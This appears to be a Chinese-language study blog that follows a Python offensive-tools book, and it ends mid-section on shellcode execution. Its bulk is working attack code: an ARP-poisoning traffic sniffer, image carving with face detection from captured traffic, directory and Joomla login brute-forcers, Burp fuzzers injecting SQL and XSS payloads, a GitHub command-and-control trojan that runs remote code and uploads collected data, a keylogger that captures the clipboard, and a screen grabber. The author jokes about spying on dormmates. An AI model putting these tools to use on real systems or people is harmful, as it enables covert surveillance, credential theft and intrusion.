poison_thread = threading.Thread(target = poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac))
poison_thread.start()

try:
    print "[*] Starting sniffer for %d packets" % packet_count

    bpf_filter = "ip host %s " % target_ip  # 过滤器
    packets = sniff(count = packet_count, filter=bpf_filter, iface = interface)

    # 将捕获到的数据包输出到文件
    wrpcap("arper.pcap", packets)
    # 还原网络配置
    restore_target(gateway_ip, gateway_mac, target_ip, target_mac)

except KeyboardInterrupt:
    # 还原网络配置
    restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
    sys.exit(0)

kali (攻击机)


winxp(被攻击机)


开始攻击


攻击结果:网关的ip已被替换成kali的mac了,有趣哦

还窃听到了目标机的网络数据流量,哈哈,用于宿舍,舍友的一举一动都知道了



从pcap文件中提取图片,同时进行人脸识别

安装opencv

apt-get install python-opencv python-numpy python-scipy

代码

#-*- coding:utf8 -*-


import re
import zlib
import cv2


from scapy.all import *


pictures_directory = "./pictures/"
faces_directory = "./faces/"
pcap_file = "test.pcap"


def get_http_headers(http_payload):
    try:
        #如果为http流量,提取http头
        headers_raw = http_payload[:http_payload.index("\r\n\r\n")+2]


        #对http头进行切分
        headers = dict(re.findall(r"(?P<name>.*?):(?P<value>.*?)\r\n", headers_raw))


    except:
        return None


    if "Content-Type" not in headers:
        return None


    return headers


def extract_image(headers, http_payload):
    image = None
    image_type = None


    try:
        if "image" in headers['Content-Type']:
            #获取图像类型和图像数据
            image_type = headers['Content-Type'].split("/")[1]
            image = http_payload[http_payload.index("\r\n\r\n")+4:]
            #如果数据进行了压缩则解压
            try:
                if "Content-Encoding" in headers.keys():
                    if headers['Content-Encoding'] == "gzip":
                        image = zlib.decompress(image, 16+zlib.MAX_WBITS)
                    elif headers['Content-Encoding'] == "deflate":
                        image = zlib.decompress(image)
            except:
                pass
    except:
        return None, None


    return image,image_type


def face_detect(path, file_name):
    img = cv2.imread(path)
    cascade = cv2.CascadeClassifier("haarcascade_frontalface_alt.xml")
    rects = cascade.detectMultiScale(img, 1.3, 4, cv2.cv.CV_HAAR_SCALE_IMAGE, (20,20))


    if len(rects) == 0:
        return False


    rects[:, 2:] += rects[:, :2]


    #对图像中的人脸进行高亮的显示处理
    for x1, y1, x2, y2 in rects:
        cv2.rectangle(img, (x1,y1), (x2,y2), (127,255,0), 2)


    cv2.imwrite("%s/%s-%s" (faces_directory, pcap_file, file_name), img)
    return True


def http_assembler(pcap_file):


    carved_images = 0
    faces_detected = 0


    a = rdpcap(pcap_file)


    sessions = a.sessions()


    for session in sessions:
        http_payload = ""
        for packet in sessions[session]:
            try:
                if packet[TCP].dport == 80 or packet[TCP].sport == 80:
                    # 对数据组包
                    http_payload += str(packet[TCP].payload)
            except:
                pass


        headers = get_http_headers(http_payload)


        if headers is None:
            continue
        image, image_type = extract_image(headers, http_payload)
        if image is not None and image_type is not None:
            # 存储图像
            file_name = "%s-pic_carver_%d.%s" % (pcap_file, carved_images, image_type)
            fd = open("%s/%s" % (pictures_directory, file_name), "wb")


            fd.write(image)
            fd.close()


            carved_images += 1


            #开始人脸识别
            try:
                result = face_detect("%s/%s" % (pictures_directory, file_name), file_name)
                if result is True:
                    faces_detected += 1
            except:
                pass


    return carved_images, faces_detected


carved_images, faces_detected = http_assembler(pcap_file)


print "Extracted: %d images" % carved_images
print "Detected: %d faces" % faces_detected

运行结果:(test.pcap是我访问百度图片抓的包,但真么没人脸的图片呢,我记得好像有的啊)


第五章 Web攻击

Web的套接字函数库:urllib2

下面为他们的简单使用


有时要根据你要抓取的网站的编码和自己代码的编码相对应


Web开源应用的安装

这里作者应该是利用开源应用的本地文件目录信息去访问目标网站的对应目录,看看哪些目录是跟官方的一样的,举个例子:比如有没有install目录

#-*- coding:utf8 -*-

import Queue
import threading
import os
import urllib2

threads = 10

target = "http://192.168.1.105/Joomla/"
directory = "./Joomla/"
filters = ["jpg", ".gif", ".png", ".css"]

os.chdir(directory)
web_paths = Queue.Queue()

for r,d,f in os.walk("."):
    for files in f:
        remote_path = "%s%s" % (r,files)
        if remote_path.startswith("."):
            remote_path = remote_path[1:]
        if os.path.splitext(files)[1] not in filters:
            web_paths.put(remote_path)

def test_remote():
    while not  web_paths.empty():
        path = web_paths.get()
        url = "%s%s" % (target, path)

        request = urllib2.Request(url)

        try:
            response = urllib2.urlopen(request)
            content = response.read()

            print  "[%d] => %s" % (response.code, path)
            response.close()

        except urllib2.HTTPError as error:
            print "Failed %s" % error.code
            pass

for i in range(threads):
    print "Spawning thread %d" % i
    t = threading.Thread(target=test_remote)
    t.start()


我在真实机上安装了Joola3.4.8,跟着用虚拟机的kali去测试



暴力破解Web应用目录和文件

代码:
#-*- coding:utf8 -*-  
  
import urllib2  
import threading  
import Queue  
import urllib  
  
threads = 50  
target_url = "http://testphp.vulnweb.com"  
wordlist_file = "./all.txt"  
resume = None   #作者说用于网络中断时,延续上一个尝试的字符串,而不用从头开始,这里好像没用到  
user_agent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36"  
  
  
def built_wordlist(wordlist_file):  
    #读入字典文件  
    fd = open(wordlist_file, "rb")  
    raw_words = fd.readlines()  
    fd.close()  
  
    found_resume = False  
    words = Queue.Queue()  
  
    for word in raw_words:  
        #删除字符串末尾的空格  
        word  = word.rstrip()  
        #如果是延续上一次
        if resume is not None:  
  
            if found_resume:  
                words.put(word)  
            else:  
                if word == resume:  
                    found_resume = True  
                    print "Resuming wordlist from: %s" % resume  
        else:  
            words.put(word)  
    return words  
  
def dir_bruter(word_queue, extentsions=None):  
  
    while not word_queue.empty():  
        attempt = word_queue.get() 

        #用于储存要尝试的url
        attempt_list = []  
  
        #检查是否有文件扩展名,如果没有就是我们要爆破路径,否则爆破文件  
        if "." not in attempt:  
            attempt_list.append("/%s/" % attempt)  
        else:  
            attempt_list.append("/%s" % attempt)  
  
        #如果我们想暴力破解扩展名  
        if extentsions:  
            for extentsion in extentsions:  
                attempt_list.append("/%s%s" % (attempt, extentsion))  
  
        #迭代我们要尝试的文件列表  
        for brute in attempt_list:  
            #构造url
            url = "%s%s" % (target_url, urllib.quote(brute))  
            #print url  
            try:  
                headers = {}  
                headers['User-Agent'] = user_agent  
                r = urllib2.Request(url, headers=headers)  
  
                response = urllib2.urlopen(r)  
                #print response.__dict__
                if len(response.read()):  
                    print "[%d] => %s" % (response.code, url) 
            #用e接收URLError的信息 
            except urllib2.URLError,e:  
                # code属性存在,并且code不是404  
                if hasattr(e, 'code') and e.code != 404:  
                    print "!!! %d => %s" % (e.code, url)  
                pass  
  
  
word_queue = built_wordlist(wordlist_file)  
extentsions = [".php", ".bak", ".orig",".inc"]  

#开启多线程扫描
for i in range(threads):  
    t = threading.Thread(target=dir_bruter, args=(word_queue, extentsions))  
    t.start()  

这里我学习到了一个方法,如果不知道一个对象有什么属性的时候,就 print  该对象.__dict__


运行结果(下面倒数第六行是手贱,焦点没回到真实机就按了截图的快捷键,不过也没什么影响)



暴力破解HTML表格认证

既然说到这就说说怎么防范吧:

1.一个强大的用户名和密码,你的用户名让他猜不着,就已经很难突破了,为了安全起见,强大的密码也是必须的
2.我们都知道很多网站登录都有验证码,一个强大的验证码咯,不然被识别了(这应该是数字图像的内容了)
3.限制尝试登陆的次数
4.限定ip登陆
5.安装个安全狗什么?(这个随便说的,好像不行,防万能密码应该可以)
6.使用一个随机生成的token [当客户端请求页面时,服务器会生成一个随机数Token,并且将Token放置到session{为了省资源也有储存在cookie中的}当中,然后将Token发给客户端(一般通过构造hidden表单)。下次客户端提交请求时,Token会随着表单一起提交到服务器端。]

好,进入正题,首先当然是研究表单的源码


这四个隐藏的元素也要提交,不然100%不能登陆,最后那个MD5似的应该就是token,同时可看到提交地址:index.php,它同时处理登陆


作者给出的步骤如下:

1.检索登录页面,接收所有返回的cookie
2.从HTML中获取所有表单yuans
3.在字典中设置需要猜测的用户名和密码
4.发送HTTP POST数据包到登陆处理脚本,数据包含所有HTML表单元素值和cookie值
5.测试是否登陆成功


代码:

#-*- coding:utf8 -*-

import urllib2
import urllib
import cookielib
import threading
import sys
import Queue

from HTMLParser import HTMLParser

#简要设置
user_thread = 10
username ="giantbranch"
wordlist_file ="./mydict.txt"
resume = None

#特点目标设置
target_url = "http://192.168.1.105/Joomla/administrator/index.php"
target_post = "http://192.168.1.105/Joomla/administrator/index.php"

username_field = "username"
password_field = "passwd"

#登陆成功后,title里面就有下面的文字,注意是语言是英文才是下面的哦 
success_check = "Administration - Control Panel"

class BruteParser(HTMLParser):
    def __init__(self):
        HTMLParser.__init__(self)
        self.tag_results = {}

    #当我们调用feed函数时,他将整个HTML文档传递进来并在遇到每个标签时调用下面这个函数(根据函数名就容易理解)
    def handle_starttag(self, tag, attrs):
        #判断是否是input标签
        if tag == "input":
            tag_name = None
            tag_value = None
            for name,value in attrs:
                #input标签里面不是有name,value,type等属性吗,这里只判断name和value
                #不过我觉得第二个if是多余的
                if name == "name":
                    tag_name = value
                if name == "value":
                    tag_value = value
                if tag_name is not None:
                    self.tag_results[tag_name] = value

class Bruter(object):
    def __init__(self, username, words):
        self.username = username
        self.password_q = words
        self.found = False

        print "Finished setting up for %s" % username

    def run_bruteforce(self):
        for i in range(user_thread):
            t = threading.Thread(target=self.web_bruter)
            t.start()

    def web_bruter(self):
        while not self.password_q.empty() and not self.found:
            #从字典获取密码,并去除右边的空格
            brute = self.password_q.get().rstrip()
            #使用FileCookieJar类,将cookie值储存到文件,参数为文件名,可用于存取cookie
            jar = cookielib.FileCookieJar("cookies")
            #用上面的jar初始化urllib2打开器,这样下面请求url时,就会把cookie值存到那个文件中
            opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))

            response =opener.open(target_url)

            page = response.read()

            print  "Trying: %s : %s (%d left)" % (self.username, brute, self.password_q.qsize())

            #解析隐藏区域(表单)
            parser = BruteParser()
            parser.feed(page)

            #已经含有隐藏表单的键值
            post_tags = parser.tag_results

            #添加我们的用户名和密码区域
            post_tags[username_field] = self.username
            post_tags[password_field] = brute

            #输出post的数据(键值)
            # for key,value in post_tags.items():
            #     print key,':',value

            #url编码post的数据,开始尝试登陆
            login_data = urllib.urlencode(post_tags)
            login_response =opener.open(target_post, login_data)
            login_result = login_response.read()

            # 判断是否登陆成功
            if success_check in login_result:
                #设置为True,让循环结束
                self.found = True

                print "[*] Bruteforce successful."
                print "[*] Username: %s" % username
                print "[*] Password: %s" % brute
                print "[*] Waiting for other threads to exit..."

def built_wordlist(wordlist_file):
    #读入字典文件
    fd = open(wordlist_file, "rb")
    raw_words = fd.readlines()
    fd.close()

    found_resume = False
    words = Queue.Queue()

    for word in raw_words:
        #删除字符串末尾的空格
        word  = word.rstrip()
        #如果是延续上一次
        if resume is not None:

            if found_resume:
                words.put(word)
            else:
                if word == resume:
                    found_resume = True
                    print "Resuming wordlist from: %s" % resume
        else:
            words.put(word)
    return words

#构造字典
words = built_wordlist(wordlist_file)

#初始化Bruter类
bruter_obj = Bruter(username, words)
#调用run_bruteforce函数
bruter_obj.run_bruteforce()

下面的可能对理解代码有帮助:

cookie没登陆就会有的了,你访问一下百度首页也有,就算你没登陆

下图为访问joomla的首页时的cookie(还没登陆)


登陆后


jar有什么用


作者验证登陆成功用的是title,觉得不是很靠谱




注:我的测试账号为: giantbranch 密码:test

期间出了不少错误:

1.一个是用户名,自己初始化joomla时设置的超级用户名是giantbranch,结果跟着作者admin了哭

2.跑了很久都没跑出来,正确的账号密码也不会停止骂人


最后将post的数据打印出来才知道,密码域的名字打错了



最终运行结果:(只展示部分)


终于成功了大哭羡慕奋斗



第六章 扩展Burp

这里应该要首先熟悉使用Brup

配置

下载jython,或者我文章开头的源码码那里有
打开软件,这必须的,一张图秒懂吧~~


Brup模糊测试

下面两个是Burp的IIntruderPayloadGeneratorFactory类和IIntruderPayloadGenerator的API文档,我们要对这些类进行扩展,重载他们的某些方法
package burp;   
/*
 * @(#)IIntruderPayloadGeneratorFactory.java
 * Copyright PortSwigger Ltd. All rights reserved.
 * This code may be used to extend the functionality of Burp Suite Free Edition
 * and Burp Suite Professional, provided that this usage does not violate the
 * license terms for those products.
    //代码用于扩展免费和专业版,但不要违反许可证
 */
/*
 * Extensions can implement this interface and then call
 * <code>IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory()</code>
 * to register a factory for custom Intruder payloads.
    //告诉我们要调用IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory()函数去注册,这样Intruder才能生成攻击载荷
 */
public interface IIntruderPayloadGeneratorFactory
{
    /**
     * This method is used by Burp to obtain the name of the payload generator.
     * This will be displayed as an option within the Intruder UI when the user
     * selects to use extension-generated payloads.
     * @return The name of the payload generator.
     */
    //这函数就是返回payload发生器的名称
    String getGeneratorName();
    /*
     * This method is used by Burp when the user starts an Intruder attack that
     * uses this payload generator.
        //用于用户开始Intruder攻击时使用这个payload发生器
     *
    //参数
     * @param attack An
     * <code>IIntruderAttack</code> object that can be queried to obtain details
     * about the attack in which the payload generator will be used.    
    //返回值
     * @return A new instance of
     * <code>IIntruderPayloadGenerator</code> that will be used to generate
     * payloads for the attack.
    IIntruderPayloadGenerator createNewInstance(IIntruderAttack attack);
}
package burp;
/*
 * @(#)IIntruderPayloadGenerator.java
 * Copyright PortSwigger Ltd. All rights reserved.
 * This code may be used to extend the functionality of Burp Suite Free Edition
 * and Burp Suite Professional, provided that this usage does not violate the
 * license terms for those products.
 */
/**
 * This interface is used for custom Intruder payload generators. Extensions
 * that have registered an
 * <code>IIntruderPayloadGeneratorFactory</code> must return a new instance of
 * this interface when required as part of a new Intruder attack.
 */
public interface IIntruderPayloadGenerator
{
    /*
    //这个函数用于决定是否提供更多的payload,就是还有没有咯
     * This method is used by Burp to determine whether the payload generator is
     * able to provide any further payloads.
     *
    //返回值
     * @return Extensions should return
     * <code>false</code> when all the available payloads have been used up,
     * otherwise
     * <code>true</code>.
     */
    boolean hasMorePayloads();
    /*
    //这函数用于获得下一个payload
     * This method is used by Burp to obtain the value of the next payload.
     * @param baseValue The base value of the current payload position. This
     * value may be
     * <code>null</code> if the concept of a base value is not applicable (e.g.
     * in a battering ram attack).
     * @return The next payload to use in the attack.
     */
    byte[] getNextPayload(byte[] baseValue);
    /*
    //这函数用于重置payload发生器,就是重置后,回头从第一个payload开始尝试
     * This method is used by Burp to reset the state of the payload generator
     * so that the next call to
     * <code>getNextPayload()</code> returns the first payload again. This
     * method will be invoked when an attack uses the same payload generator for
     * more than one payload position, for example in a sniper attack.
     */
    void reset();

}

代码:

#-*- coding:utf8 -*-

# 导入三个类,其中IBurpExtender类是编写扩展工具必须的类,后两个是Intruder的,我们就是要扩展它
from burp import IBurpExtender
from burp import IIntruderPayloadGeneratorFactory
from burp import IIntruderPayloadGenerator

from java.util import List, ArrayList

import random

#定义自己的BurpExtender类,继承和扩展IBurpExtender和IIntruderPayloadGeneratorFactory类
class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory):

    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()

        #用registerIntruderPayloadGeneratorFactory函数注册BurpExtender类,这样Intruder才能生成攻击载荷
        callbacks.registerIntruderPayloadGeneratorFactory(self)

        return

    #返回载荷生成器的名称
    def getGeneratorName(self):
        return "BHP Payload Generator"

    # 接受攻击相关参数,返回IIntruderPayloadGenerator类型的实例,作者将他命名为BHPFuzzer
    def createNewInstance(self, attack):
        return BHPFuzzer(self, attack)

# 定义BHPFuzzer类,扩展了IIntruderPayloadGenerator类
# 增加了max_payload(最大的payload), num_iterations(迭代次数)两个变量,用于控制模糊测试的次数
class BHPFuzzer(IIntruderPayloadGenerator):
    def __init__(self, extender, attack):
        self._extender = extender
        self._helpers = extender._helpers
        self._attack = attack
        self.max_payload = 1000
        self.num_iterations = 0
        return

    # 通过比较判断迭代是否达到上限
    def hasMorePayloads(self):
        if self.num_iterations == self.max_payload:
            return False
        else:
            return True

    # 接受原始的HTTP负载,current_payload是数组,转化成字符串,传递给模糊测试函数mutate_payload
    def getNextPayload(self, current_payload):
        # 转换成字符串
        payload = "".join(chr(x) for x in current_payload)
        # 调用简单的变形器对POST请求进行模糊测试
        payload = self.mutate_payload(payload)
        # 增加FUZZ的次数
        self.num_iterations += 1
        return payload

    # 重置
    def reset(self):
        self.num_iterations = 0
        return

    def mutate_payload(self, original_payload):
        # 仅生成随机数或者调用一个外部脚本
        picker = random.randint(1,3)

        # 再载荷中选取一个随机的偏移量去变形
        offset = random.randint(0, len(original_payload)-1)
        payload = original_payload[:offset]

        # 在随机偏移位置插入SQL注入尝试
        if picker == 1:
            payload += "'"

        # 插入跨站尝试
        if picker == 2:
            payload += "<script>alert('xss');</script>"

        # 随机重复原始载荷
        if picker == 3:
            chunk_length = random.randint(len(payload[offset:]), len(payload)-1)
            repeater = random.randint(1,10)

            for i in range(repeater):
                payload += original_payload[offset:offset+chunk_length]


        # 添加载荷中剩余的字节
        payload += original_payload[offset:]

        return payload

加载我们写的python

加载成功Loaded会打钩

设置本地8080代理,搜索栏输入test,具体看图吧~




可以看出应该存在sql注入,


在Burp中利用Bing服务

获取Bing API密钥

参考:http://wcf1987.iteye.com/blog/1775433  ,注意地区的选择


代码
#-*- coding:utf8 -*-
from burp import IBurpExtender
from burp import IContextMenuFactory

from javax.swing import JMenuItem
from java.util import List, ArrayList
from java.net import URL

import socket
import urllib
import json
import re
import base64

bing_api_key = "这里用你的密钥"

class BurpExtender(IBurpExtender, IContextMenuFactory):
    def registerExtenderCallbacks(self,callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        self.context = None

        # 我们建立起扩展工具
        callbacks.setExtensionName("Use Bing")
        callbacks.registerContextMenuFactory(self)

        return

    # 创建菜单并处理点击事件,就是actionPerformed那里,点击调用bing_menu函数
    def createMenuItems(self, context_menu):
        self.context = context_menu
        menu_list = ArrayList()
        menu_list.add(JMenuItem("Send to Bing", actionPerformed=self.bing_menu))
        return menu_list

    def bing_menu(self, event):
        # 获取用户点击的详细信息
        http_traffic = self.context.getSelectedMessages()

        print "%d requests highlighted" % len(http_traffic)

        # 获取ip或主机名(域名)
        for traffic in http_traffic:
            http_service = traffic.getHttpService()
            host = http_service.getHost()

            print "User selected host: %s" % host

            self.bing_search(host)

        return

    def bing_search(self, host):
        # 检查参数是否为ip地址或主机名(域名)------使用正则
        is_ip = re.match("[0-9]+(?:\.[0-9]+){3}", host)

        # 若为ip
        if is_ip:
            ip_address = host
            domain = False
        else:
            ip_address = socket.gethostbyname(host)
            domain = True

        # 查寻同一ip是否存在不同虚拟机
        bing_query_string ="'ip:%s'" % ip_address
        self.bing_query(bing_query_string)

        # 若为域名则执行二次搜索,搜索子域名
        if domain:
            bing_query_string = "'domain:%s'" % host
            self.bing_query(bing_query_string)



    def bing_query(self, bing_query_string):
        print "Performing Bing search: %s" % bing_query_string
        # 编码我们的查询(如 urllib.quote('ab c')--> 'ab%20c')
        quoted_query = urllib.quote(bing_query_string)

        http_request  = "GET https://api.datamarket.azure.com/Bing/Search/Web?$format=json&$top=20&Query=%s HTTP/1.1\r\n" % quoted_query
        http_request += "Host: api.datamarket.azure.com\r\n"
        http_request += "Connection: close\r\n"
        # 对API密钥使用base64编码
        http_request += "Authorization: Basic %s\r\n" % base64.b64encode(":%s" % bing_api_key)
        http_request += "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36\r\n\r\n"

        json_body = self._callbacks.makeHttpRequest("api.datamarket.azure.com", 443, True, http_request).tostring()

        # 去掉HTTP响应头,只取正文
        json_body = json_body.split("\r\n\r\n", 1)[1]

        #print json_body

        try:
            # 传递给json解析器
            r = json.loads(json_body)

            # 输出查询到的网站的相关信息
            if len(r["d"]["results"]):
                for site in r["d"]["results"]:

                    print "*" * 100
                    print site['Title']
                    print site['Url']
                    print site['Description']
                    print "*" * 100

                    j_url = URL(site['Url'])

            # 如果网站不在brup的目标列表中,就添加进去
            if not self._callbacks.isInScope(j_url):
                print "Adding to Burp scope"
                self._callbacks.includeInScope(j_url)

        except:
            print "No results from Bing"
            pass

        return

加载扩展步骤同上

跟着的话,send to bing


但又有问题了,没结果


将返回的页面打印出来,发现没权限或者身份问题,一开始以为是证书,结果不是




再次浏览bing API,觉得是这个的问题,其实当时一开始打开这个网站就知道有点问题




于是就改成香港的,估计改成其他地区也能行,最重要你能看懂文字


再次实验 ,ko!!!!!!!!!!!! 难过 奋斗

利用网站内容生成密码字典

代码
#-*- coding:utf8 -*-
from burp import IBurpExtender
from burp import IContextMenuFactory

from javax.swing import JMenuItem
from java.util import List, ArrayList
from java.net import URL

import re
from datetime import datetime
from HTMLParser import HTMLParser

#
class TagStripper(HTMLParser):
    def __init__(self):
        HTMLParser.__init__(self)
        self.page_text = []
    # 遇到两个标签之间的数据时调用
    def handle_data(self, data):
        self.page_text.append(data)
    # 遇到注释时调用
    def handle_comment(self, data):
        self.handle_data(data)

    def strip(self,html):
        # 会调用上面的两个函数
        self.feed(html)
        return "".join(self.page_text)

class BurpExtender(IBurpExtender, IContextMenuFactory):
    def registerExtenderCallbacks(self,callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        self.context = None
        self.hosts = set()

        # 按部就班,先设定一个非常常见的密码,因为是字典,不能重复最好,所以用集合
        self.wordlist = set(["password"])

        # 建立起我们的扩展工具
        callbacks.setExtensionName("Build Wordlist")
        callbacks.registerContextMenuFactory(self)

        return

    # 添加菜单
    def createMenuItems(self, context_menu):
        self.context = context_menu
        menu_list = ArrayList()
        menu_list.add(JMenuItem("Bulid Wordlist", actionPerformed=self.wordlist_menu))

        return menu_list

    def wordlist_menu(self, event):

        # 抓取用户点击细节
        http_traffic = self.context.getSelectedMessages()

        # 获取ip或主机名(域名)
        for traffic in http_traffic:
            http_service = traffic.getHttpService()
            host = http_service.getHost()

            self.hosts.add(host)
            # 获取网站的返回信息
            http_response = traffic.getResponse()
            # 若有回应就调用get_word
            if http_response:
                self.get_words(http_response)

        self.display_wordlist()
        return

    def get_words(self, http_response):

        headers, body = http_response.tostring().split("\r\n\r\n", 1)

        # 忽略下一个请求
        if headers.lower().find("content-type: text") == -1:
            return

        # 获取标签中的文本
        tag_stripper = TagStripper()
        page_text = tag_stripper.strip(body)

        # 匹配第一个是字母的,后面跟着的是两个以上的字母,数字或下划线/
        words = re.findall("[a-zA-Z]\w{2,}", page_text)

        # 感觉这里的长度有点短啊,作者是12,我改成15了
        for word in words:
            # 过滤长字符串
            if len(word) <= 15:
                self.wordlist.add(word.lower())

        return

    # 再后面添加更多的猜测
    def mangle(self, word):
        year = datetime.now().year
        suffixes = ["", "1", "!", year]
        mangled = []

        for password in (word, word.capitalize()):
            for suffix in suffixes:
                mangled.append("%s%s" % (password, suffix))

        return mangled

    def display_wordlist(self):

        print "#!comment: BHP Wordlist for site(s) %s" % ", ".join(self.hosts)

        for word in sorted(self.wordlist):
            for password in self.mangle(word):
                print password

        return








第七章 基于GitHub的命令和控制

GitHub账号设置

安装Github API库
pip install github3.py

首先你要去github注册个账号吧


跟着初始化本地环境,因为我本来就初始化好了,跟课本有所不同,直接上图好了,我就在我分享的源代码里面chapter7里面直接加目录就行了(如果你没用过github,建议先去学习学习)


创建模块

在modules目录创建了两文件(就是下图的两个文件),为了减少篇幅,查看代码和注释请到github上看

木马配置

配置文件为一个json文件,里面的信息包含了我们添加的模块



编写基于github的通信木马

代码:
#-*- coding:utf8 -*-

import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
import os

from github3 import login

trojan_id = "abc"

trojan_config = "%s.json" % trojan_id
data_path = "chapter7/data/%s/" % trojan_id
trojan_modules = []
configured = False
task_queue = Queue.Queue()


# 通过账号密码连接到github,获取repo和branch
def connect_to_github():
    gh = login(username="你的账号", password="你的密码")
    repo = gh.repository("你的账号,同上面的账号", "python-hacker-code(仓库名)")
    branch = repo.branch("master")

    return gh,repo,branch

# 从远程仓库中获取文件
def get_file_contents(filepath):

    gh, repo, branch = connect_to_github()
    tree = branch.commit.commit.tree.recurse()

    for filename in tree.tree:

        if filepath in filename.path:
            print "[*] Found file %s" % filepath
            blob = repo.blob(filename._json_data['sha'])
            return blob.content

    return None

# 获取木马的配置文件,并导入模块
def get_trojan_config():
    global configured
    config_json = get_file_contents(trojan_config)
    config  = json.loads(base64.b64decode(config_json))
    configured = True

    for task in config:
        if task['module'] not in sys.modules:
            exec("import %s" % task['module'])

    return config

# 将从目标主机收集到的数据推送到仓库中
def store_module_result(data):

    gh, repo, branch = connect_to_github()
    remote_path = "chapter7/data/%s/%d.data" % (trojan_id, random.randint(10,10000000))
    repo.create_file(remote_path,"Commit message",base64.b64encode(data))

    return

def module_runner(module):

    # 将1加入到队列中
    task_queue.put(1)
    result = sys.modules[module].run(a=1,b=2,c=3)
    # 从队列中移除
    task_queue.get()

    # 保存结果到我们的仓库中
    store_module_result(result)

    return

class GitImporter(object):
    def __init__(self):
        self.current_module_code = ""

    # 尝试获取模块所在位置
    def find_module(self, fullname, path=None):
        if configured:
            print "[*] Attempting to retrieve %s" % fullname
            new_library = get_file_contents("chapter7/modules/%s" % fullname)

            if new_library is not None:
                self.current_module_code = base64.b64decode(new_library)
                # 返回self变量,告诉python解析器找到了所需的模块
                return self

        return None

    # 完成模块的实际加载过程
    def load_module(self, name):
        # 创建一个空的模块对象
        module = imp.new_module(name)
        # 将github中获得的代码导入的这个对象中
        exec self.current_module_code in module.__dict__
        # 最后将这个新建的模块添加到sys.modules列表里面
        sys.modules[name] = module

        return module



# 添加自定义的模块导入器
sys.meta_path = [GitImporter()]
# 木马循环
while True:

    if task_queue.empty():
        # 获取木马配置文件
        config = get_trojan_config()
        for task in config:
            # 对每个模块单独建立线程
            t = threading.Thread(target=module_runner, args=(task['module'],))
            t.start()
            time.sleep(random.randint(1,10))

    time.sleep(random.randint(1000,10000))



运行结果:


运行两次后有四个data文件了


我们验证一下确实是获取了环境变量


第八章 Windows下木马的常用功能

有趣的键盘记录

利用第三方库pyHook,它利用了原生的Windows函数SetWindowsHookEx,这个在C++黑客编程很常用了,推荐本书《C++黑客编程与揭秘》
下载地址:

因为是利用了原生的Windows API,所以是在windows平台,这个实验只能在win平台

原来除了安装pyHook,还有安装pythoncom,地址: 下载点这里

安装pyHook时,出现了这个问题: Python version 2.7 required, which was not found in the registry

但解决了这个还不行,原来只能支持32位python,苦逼的64位 委屈,最后还是安装了个32位的

成功后截图:


代码:
#-*- coding:utf8 -*-

from ctypes import *
import pythoncom
import pyHook
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

def get_current_process():

    # 获取前台窗口句柄
    hwnd = user32.GetForegroundWindow()

    # 获得进程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))

    # 保存当前进程ID
    process_id = "%d" % pid.value

    # 申请内存
    executable = create_string_buffer("\x00" * 512)
    # 打开进程
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    # 获取进程所对应的可执行文件的名字
    psapi.GetModuleBaseNameA(h_process, None, byref(executable),512)

    # 读取窗口标题
    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title), 512)

    # 输出进程相关信息
    print
    print "[ PID: %s - %s - %s]" % (process_id, executable.value, window_title.value)
    print

    # 关闭句柄
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)

def keyStore(event):
    global current_window

    # 检查目标是否切换了窗口
    if event.WindowName != current_window:
        current_window = event.WindowName
        get_current_process()

    # 检测按键是否为常规按键(非组合键等)
    if event.Ascii > 32 and event.Ascii < 127:
        print chr(event.Ascii),
    else:
        # 若输入为[CTRL-V],则获取剪切板内容
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()

            print "[PASTE] - %s" % (pasted_value),

        else:
            print "[%s]" % event.Key,

    # 返回直到下一个钩子事件被触发
    return True

# 创建和注册钩子函数管理器
k1 =pyHook.HookManager()
#
k1.KeyDown = keyStore

# 注册键盘记录的钩子,然后永久执行
k1.HookKeyboard()
pythoncom.PumpMessages()

运行结果;(根据代码,那个耀应该就是内存的值)
【请忽略下面的英文语法,或许我不说你不知道 安静



下面测试粘贴的记录效果


截取屏幕快照

代码:
#-*- coding:utf8 -*-

import win32gui
import win32ui
import win32con
import win32api

# 获取窗口桌面的句柄
hdesktop = win32gui.GetDesktopWindow()

# 获得显示屏的像素尺寸
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

# 创建设备描述表
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)

# 创建基于内存的设备描述表,用于储存我们捕获到的图片的数据,直到我们保存到文件
mem_dc = img_dc.CreateCompatibleDC()

# 创建位图对象
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)

# 复制屏幕到我们的内存设备描述表中
mem_dc.BitBlt((0,0), (width,height), img_dc, (left, top), win32con.SRCCOPY)

# 将位图保存到文件中
screenshot.SaveBitmapFile(mem_dc, "C:\\test.bmp")

# 释放对象
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())

运行结果:


Python方式的shellcode执行

代码
#-*- coding:utf8 -*-

import urllib2
import ctypes
import base64

